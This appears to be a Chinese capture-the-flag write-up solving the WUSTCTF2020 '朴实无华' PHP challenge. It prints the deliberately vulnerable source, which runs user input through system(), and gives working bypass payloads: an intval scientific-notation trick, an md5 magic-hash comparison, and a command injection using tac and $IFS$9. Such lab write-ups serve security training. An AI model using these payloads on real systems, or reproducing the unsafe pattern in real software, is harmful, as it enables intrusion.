[WUSTCTF2020]朴实无华_WP

题目一览

分析

• 打开题目，除了hack me，没有得到可利用信息，查看源码
• 虽然编码有一点问题，但还是发现了这个利用点bot，想到robots.txt网站的爬虫规则

robots.txt置于网站的根目录下。爬虫根据此文件决定网站下的哪些页面是被授权抓取的

• robots.txt
  意为对任何爬虫，禁止其访问/fAke_f1agggg.php目录下的文件
  但对于这个提示，我们明显是要访问看看有无可利用信息
• /fAke_f1agggg.php
  
  在这里就很无措了，查看源码也什么都没有
  

获取flag

• 尝试抓包，在响应头里查找有效信息
• /fl4g.php

header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

出现这个就比较狠了，开始代码审计

标题Level 1

• intval() 函数用于获取变量的整数值。
• (intval($num) < 2020 && intval($num + 1) > 2021)
  也就是说既要让传入的num取整数值后小于2020，加1取整数后还要大于2021
  
  根据这个启发，我们可以进行如下尝试
• 但不知道为什么，我的编译器并没有实现这个差异，所以我们直接在题目中传入参数，进行查验

 <?php
  echo intval('2e4');
  echo intval(2e4);
  echo intval('2e4'+1);
  echo intval(2e4+1);
  echo intval(1e10);                    
  echo intval('1e10');
  ?>

• http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=%272e4%27
  金钱解决不了穷人的本质问题
• http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4
  我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
  绕过成功，并且可以得出，会将传入的参数自动转换为字符串

Level 2

• md5() 函数计算字符串的 MD5 散列。

• ($md5==md5($md5))
  也就是说需要传入的参数与他的MD5散列弱比较值相等
  md5(0e215962017,32) = 0e291242476940776845150308577824
  传入参数
  http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017

• 绕过成功

get flag

if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";
        system($get_flag); 

-strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是，则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串；否则，返回NULL。

• str_ireplace() 函数替换字符串中的一些字符（不区分大小写）。
• 所以在get flag这一步一共有3个要求

 参数中不能有空格		
 参数中如果有cat便要替换为wctf2020 
 参数会当作系统命令执行

• http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php？num=2e4&md5=0e215962017&get_flag=ls
• 
  -http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
  tac绕过cat $IFS$9绕过空格
• flag{6c1c57d3-5462-42d3-be85-df3998d042c7}